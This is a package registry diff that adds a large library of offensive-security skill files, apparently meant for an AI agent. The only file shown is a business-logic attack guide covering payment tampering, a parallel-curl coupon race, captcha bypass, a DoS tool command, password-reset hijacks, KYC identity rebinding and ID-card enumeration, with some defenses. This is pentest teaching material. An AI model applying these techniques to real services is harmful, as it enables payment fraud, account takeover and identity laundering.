ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,1095 @@
|
|
|
1
|
+
# Business Logic Vulnerabilities — Extended Scenarios
|
|
2
|
+
|
|
3
|
+
> Companion to [SKILL.md](./SKILL.md), [METHODOLOGY.md](./METHODOLOGY.md), [CHECKLIST.md](./CHECKLIST.md). Contains payment security, captcha bypass, password reset flaws, user enumeration, traversal attack scenarios, and four blocks of distilled instructor-led real-world cases (§10 privacy / §11 payment / §12 registration / §13 password recovery).
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. Payment Precision and Overflow Attacks
|
|
8
|
+
|
|
9
|
+
### Integer Overflow
|
|
10
|
+
|
|
11
|
+
```text
|
|
12
|
+
# 32-bit signed int max: 2,147,483,647
|
|
13
|
+
# If quantity or price field is int32:
|
|
14
|
+
quantity: 2147483648 → overflows to negative → credit instead of debit
|
|
15
|
+
|
|
16
|
+
# In C/Java: int amount = price * quantity;
|
|
17
|
+
# If both are large positive → result wraps to negative
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
### Decimal Precision Exploitation
|
|
21
|
+
|
|
22
|
+
```text
|
|
23
|
+
# Item price: ¥10.00, quantity supports decimals:
|
|
24
|
+
quantity: 0.001 → charge: ¥0.01 (rounds down)
|
|
25
|
+
# But you still receive 1 item
|
|
26
|
+
|
|
27
|
+
# Partial refund manipulation:
|
|
28
|
+
# Original order: 3 items × ¥100 = ¥300
|
|
29
|
+
# Request refund for 2.9 items → refund ¥290 → keep all 3 items
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Negative Value Attacks
|
|
33
|
+
|
|
34
|
+
```text
|
|
35
|
+
# Negative quantity:
|
|
36
|
+
{"item": "laptop", "quantity": -1, "price": 999}
|
|
37
|
+
→ Total: -¥999 → credit to account
|
|
38
|
+
|
|
39
|
+
# Negative shipping fee:
|
|
40
|
+
{"shipping_method": "express", "shipping_fee": -50}
|
|
41
|
+
→ Reduces total order cost
|
|
42
|
+
|
|
43
|
+
# Negative discount:
|
|
44
|
+
{"discount_amount": -100}
|
|
45
|
+
→ Adds ¥100 instead of subtracting
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Payment Parameter Tampering
|
|
49
|
+
|
|
50
|
+
Parameters to test modifying via Burp:
|
|
51
|
+
|
|
52
|
+
```text
|
|
53
|
+
price / amount / total → change to 0.01
|
|
54
|
+
discount_code / coupon_id → reuse / stack
|
|
55
|
+
currency / currency_code → change to weaker currency
|
|
56
|
+
payment_method / gateway → switch to test/sandbox gateway
|
|
57
|
+
installments / period → change to 0 or negative
|
|
58
|
+
account_id / receiver → change to attacker's account
|
|
59
|
+
return_url / notify_url → change to attacker's server (capture payment confirmation)
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## 2. Condition Race — Practical Patterns
|
|
65
|
+
|
|
66
|
+
### One-Coupon-Per-Order Bypass
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Send 20 parallel requests using the same coupon:
|
|
70
|
+
for i in $(seq 1 20); do
|
|
71
|
+
curl -s -X POST https://target.com/api/apply-coupon \
|
|
72
|
+
-H "Cookie: session=..." \
|
|
73
|
+
-d "coupon=SAVE50&order_id=12345" &
|
|
74
|
+
done
|
|
75
|
+
wait
|
|
76
|
+
# If check and deduction are non-atomic → multiple applications succeed
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
### Gift Card Double-Spend
|
|
80
|
+
|
|
81
|
+
```text
|
|
82
|
+
# Burp Repeater: duplicate the redemption request 10 times
|
|
83
|
+
# "Send group in parallel" (Turbo Intruder or Repeater Groups)
|
|
84
|
+
# Race window: balance check → deduction
|
|
85
|
+
# Multiple threads pass the balance check before any deduction commits
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## 3. Captcha Bypass Techniques
|
|
91
|
+
|
|
92
|
+
### Drop the Verification Request
|
|
93
|
+
|
|
94
|
+
```text
|
|
95
|
+
# Normal flow:
|
|
96
|
+
1. Browser requests captcha image from /api/captcha
|
|
97
|
+
2. User enters captcha text
|
|
98
|
+
3. Form submits with captcha value
|
|
99
|
+
|
|
100
|
+
# Bypass: Use Burp to DROP the request to /api/captcha
|
|
101
|
+
# The server-side captcha remains the same → use the same captcha value repeatedly
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
### Remove the Captcha Parameter
|
|
105
|
+
|
|
106
|
+
```text
|
|
107
|
+
# If backend checks: "if verifycode parameter exists, validate it"
|
|
108
|
+
# Remove the parameter entirely from the request:
|
|
109
|
+
# Before: username=admin&password=test&verifycode=abc123
|
|
110
|
+
# After: username=admin&password=test
|
|
111
|
+
# → Old code path without captcha validation
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
### Reset Captcha Failure Counter
|
|
115
|
+
|
|
116
|
+
```text
|
|
117
|
+
# Some apps track failed attempts in session/cookie
|
|
118
|
+
# Clear cookies between attempts → failure counter resets to 0
|
|
119
|
+
# Or: create new session for each brute force attempt
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### OCR-Based Captcha Cracking
|
|
123
|
+
|
|
124
|
+
```python
|
|
125
|
+
from PIL import Image
|
|
126
|
+
import pytesseract
|
|
127
|
+
|
|
128
|
+
# pip install pytesseract Pillow
|
|
129
|
+
# brew install tesseract (macOS)
|
|
130
|
+
|
|
131
|
+
img = Image.open("captcha.png")
|
|
132
|
+
text = pytesseract.image_to_string(img)
|
|
133
|
+
print(f"Captcha: {text.strip()}")
|
|
134
|
+
# Accuracy improves with preprocessing: grayscale, threshold, denoise
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## 4. Arbitrary Password Reset Vulnerabilities
|
|
140
|
+
|
|
141
|
+
### Predictable Reset Token
|
|
142
|
+
|
|
143
|
+
```text
|
|
144
|
+
# Token patterns that are attackable:
|
|
145
|
+
token = md5(username) → compute for any user
|
|
146
|
+
token = md5(email + timestamp) → narrow brute force window
|
|
147
|
+
token = base64(user_id) → trivially reversible
|
|
148
|
+
token = sequential_number → enumerate
|
|
149
|
+
token = username + 4_digit_rand → brute force 0000-9999
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
### Session Replacement Attack
|
|
153
|
+
|
|
154
|
+
```text
|
|
155
|
+
# Flow: Reset password for your own account
|
|
156
|
+
# Step 1: Request reset for YOUR email → receive link
|
|
157
|
+
# Step 2: Click link → reach "enter new password" page
|
|
158
|
+
# Step 3: In the same session, change the username/email parameter to VICTIM
|
|
159
|
+
# Step 4: Submit new password → server uses session state (which user) not the parameter
|
|
160
|
+
# If session tracks "reset in progress" but not "for which user" → reset victim's password
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### Registration Overwrite
|
|
164
|
+
|
|
165
|
+
```text
|
|
166
|
+
# If username is unique but registration doesn't check existing accounts properly:
|
|
167
|
+
# Register with victim's username → old account is overwritten or merged
|
|
168
|
+
# Now login with the password you just set → access victim's data
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## 5. User Information Enumeration
|
|
174
|
+
|
|
175
|
+
### Login Error Message Difference
|
|
176
|
+
|
|
177
|
+
```text
|
|
178
|
+
# Vulnerable:
|
|
179
|
+
username: admin → "Incorrect password" (confirms user exists)
|
|
180
|
+
username: nonexist → "User not found" (confirms user doesn't exist)
|
|
181
|
+
|
|
182
|
+
# Secure:
|
|
183
|
+
Both cases → "Invalid username or password"
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
### Masked Data Reconstruction
|
|
187
|
+
|
|
188
|
+
```text
|
|
189
|
+
# Phone number masking: 138****5678
|
|
190
|
+
# Email masking: a****@gmail.com
|
|
191
|
+
# If different endpoints mask differently:
|
|
192
|
+
# Endpoint A: 138****5678
|
|
193
|
+
# Endpoint B: 1384***5678
|
|
194
|
+
# Endpoint C: 13845**678
|
|
195
|
+
# Combine → reconstruct: 13845675678
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### Cookie-Based Authorization Bypass
|
|
199
|
+
|
|
200
|
+
```text
|
|
201
|
+
# Cookie: uid=dXNlcjE= (base64 of "user1")
|
|
202
|
+
# Change to: uid=YWRtaW4x (base64 of "admin1")
|
|
203
|
+
# If server trusts the cookie without server-side session validation → vertical privilege escalation
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## 6. Functional Restriction Bypass
|
|
209
|
+
|
|
210
|
+
### Array Parameter for Multiple Coupons
|
|
211
|
+
|
|
212
|
+
```text
|
|
213
|
+
# Normal: couponid=SAVE20 (one coupon per order)
|
|
214
|
+
# Bypass: couponid[0]=SAVE20&couponid[1]=SAVE30
|
|
215
|
+
# Or JSON: {"coupon_ids": ["SAVE20", "SAVE30", "WELCOME10"]}
|
|
216
|
+
# If backend iterates the array and applies each → stacks discounts beyond limit
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
### Frontend-Only Restrictions
|
|
220
|
+
|
|
221
|
+
```text
|
|
222
|
+
# HTML: <input type="text" disabled="disabled" readonly="readonly" value="110010">
|
|
223
|
+
# Developer Tools: remove disabled/readonly attributes → field becomes editable
|
|
224
|
+
# Or: Burp intercepts response → removes disabled attribute → user can modify
|
|
225
|
+
# Or: directly craft POST request with modified value
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
## 7. Denial of Service via Business Logic
|
|
231
|
+
|
|
232
|
+
### Application-Layer DoS (not DDoS)
|
|
233
|
+
|
|
234
|
+
```text
|
|
235
|
+
# Single malformed request causes CPU spike:
|
|
236
|
+
# CVE-2015-4024: PHP multipart/form-data with crafted boundary → regex backtracking
|
|
237
|
+
# CVE-2020-13935: Tomcat WebSocket with crafted frames → infinite loop
|
|
238
|
+
# CVE-2013-2028: Nginx chunked transfer with negative size → buffer overflow
|
|
239
|
+
|
|
240
|
+
# Tools:
|
|
241
|
+
# tcdos — WebSocket DoS tool:
|
|
242
|
+
python3 tcdos.py -u ws://target/endpoint -t 10
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## 8. PAYMENT MANIPULATION MATRIX
|
|
248
|
+
|
|
249
|
+
| # | Attack | Method |
|
|
250
|
+
|---|---|---|
|
|
251
|
+
| 1 | Price parameter tampering | Change `amount=100` to `amount=1` in checkout request |
|
|
252
|
+
| 2 | Negative quantity/amount | `quantity=-1` or `amount=-100` for refund credit |
|
|
253
|
+
| 3 | Currency confusion | Change `currency=USD` to `currency=IDR` (lower value) |
|
|
254
|
+
| 4 | Callback notification forgery | Forge payment gateway callback to mark order as paid |
|
|
255
|
+
| 5 | Race condition on payment | Concurrent checkout with same cart → duplicate purchase at single price |
|
|
256
|
+
| 6 | Coupon stacking | Apply same coupon multiple times or combine incompatible coupons |
|
|
257
|
+
| 7 | Refund without return | Initiate refund flow but skip item return step |
|
|
258
|
+
| 8 | Payment status manipulation | Change order status from "pending" to "paid" via API |
|
|
259
|
+
| 9 | Split transaction bypass | Split large amount into multiple small amounts below verification threshold |
|
|
260
|
+
| 10 | MongoDB operator injection | `{"price": {"$gt": 0}}` instead of numeric value |
|
|
261
|
+
|
|
262
|
+
### Testing Methodology
|
|
263
|
+
|
|
264
|
+
```
|
|
265
|
+
1. Map the complete payment flow (cart → checkout → payment → callback → confirmation)
|
|
266
|
+
2. At each step, test: parameter tampering, step skipping, replay, race condition
|
|
267
|
+
3. Check if price is recalculated server-side or trusts client value
|
|
268
|
+
4. Test callback endpoint: Does it verify signature? Source IP? Idempotency?
|
|
269
|
+
5. Test refund flow separately: same vulnerabilities may exist in reverse
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## 9. STATE MACHINE BYPASS METHODOLOGY
|
|
275
|
+
|
|
276
|
+
### Common Multi-Step Process Attacks
|
|
277
|
+
|
|
278
|
+
| Attack | How |
|
|
279
|
+
|---|---|
|
|
280
|
+
| Frontend step skip | Navigate directly to final step URL (e.g., `/step3` without completing step 1-2) |
|
|
281
|
+
| Response manipulation | Change `{"step":"1","allowed":"false"}` to `{"step":"3","allowed":"true"}` |
|
|
282
|
+
| Direct state modification | API call to change order status: `PUT /order/123 {"status":"completed"}` |
|
|
283
|
+
| Replay previous step | Complete step 2, then replay step 1 with modified data |
|
|
284
|
+
| Session swap | Start flow as user A, complete as user B (different session) |
|
|
285
|
+
|
|
286
|
+
### Verification Bypass Pattern
|
|
287
|
+
|
|
288
|
+
```
|
|
289
|
+
Step 1: Request verification code → code sent to email/phone
|
|
290
|
+
Step 2: Enter verification code → server validates
|
|
291
|
+
Step 3: Set new password → server allows
|
|
292
|
+
|
|
293
|
+
Attack: Skip step 2 entirely
|
|
294
|
+
- Try: POST /reset-password directly (step 3 URL)
|
|
295
|
+
- Try: Response manipulation — change step 2 response from "fail" to "success"
|
|
296
|
+
- Try: DOM manipulation — remove disabled attribute from step 3 form
|
|
297
|
+
- Try: Modify cookie/session to reflect "step 2 completed"
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## 10. Privacy Compliance & Real-Name Authentication Cases / 隐私合规与实名认证场景
|
|
303
|
+
|
|
304
|
+
These four scenarios are the highest-frequency real-world cases in instructor-led classes — they are the kind that show up in compliance audits AND in bug-bounty programs because they straddle data-protection law and identity hijacking.
|
|
305
|
+
|
|
306
|
+
### 10.1 Real-Name "Replay-To-Reset" Loop
|
|
307
|
+
|
|
308
|
+
Anti-addiction or KYC systems often allow re-editing identity info **only when** a previous submission was rejected. Bypass:
|
|
309
|
+
|
|
310
|
+
```text
|
|
311
|
+
1. Submit real-name auth with INTENTIONALLY wrong cardNumber:
|
|
312
|
+
POST /auth/realname
|
|
313
|
+
{
|
|
314
|
+
"realName": "测试",
|
|
315
|
+
"cardNumber": "...6012", ← wrong on purpose
|
|
316
|
+
"frontImage": "<base64>",
|
|
317
|
+
"backImage": "<base64>"
|
|
318
|
+
}
|
|
319
|
+
|
|
320
|
+
2. Server response (the surprising part):
|
|
321
|
+
{"msg": "success", "code": 200, "data": null, "ok": true}
|
|
322
|
+
← server stores it as "submitted/审核中", but business logic treats this as "rejected"
|
|
323
|
+
|
|
324
|
+
3. UI now offers an Edit button → resubmit again with another (target) identity
|
|
325
|
+
→ real-name binding switches WITHOUT triggering the "permanent lock" branch
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
**Why this works**: the controller writes "submitted" to DB on every POST and the rejection branch resets the editable flag instead of locking the user. **Defense**: rejected real-name submissions must (a) require human review or (b) lock the account for 24h+, never silently re-open the editor.
|
|
329
|
+
|
|
330
|
+
**Compliance impact**: this enables anti-addiction circumvention (minors), account resale (changing the bound identity to launder the account), and KYC laundering.
|
|
331
|
+
|
|
332
|
+
### 10.2 Identity Card / Phone Enumeration via Side-Channel
|
|
333
|
+
|
|
334
|
+
A KYC pre-check API answers "is this realName + idCard combo valid?" through subtle response differences:
|
|
335
|
+
|
|
336
|
+
```text
|
|
337
|
+
Burp Intruder payload: incrementing idCard suffixes
|
|
338
|
+
Status: 200 (always), but Length differs:
|
|
339
|
+
Length: 531 ← "first valid combination"
|
|
340
|
+
Length: 501 ← invalid
|
|
341
|
+
|
|
342
|
+
Or response code differences:
|
|
343
|
+
HTTP 200 + body code:200 → valid binding
|
|
344
|
+
HTTP 200 + body code:501 → wrong card
|
|
345
|
+
HTTP 200 + body code:531 → name-card mismatch but card exists
|
|
346
|
+
|
|
347
|
+
Comment column in Burp Intruder: "Contains a JWT" → suggests the response leaks a token
|
|
348
|
+
when the verification succeeds, useful for follow-on impersonation.
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
**Defense**: unify all failure paths into one indistinguishable response (same status, same Length, same body). Add per-IP / per-deviceId throttling.
|
|
352
|
+
|
|
353
|
+
### 10.3 Masked Field Cross-Endpoint Reconstruction
|
|
354
|
+
|
|
355
|
+
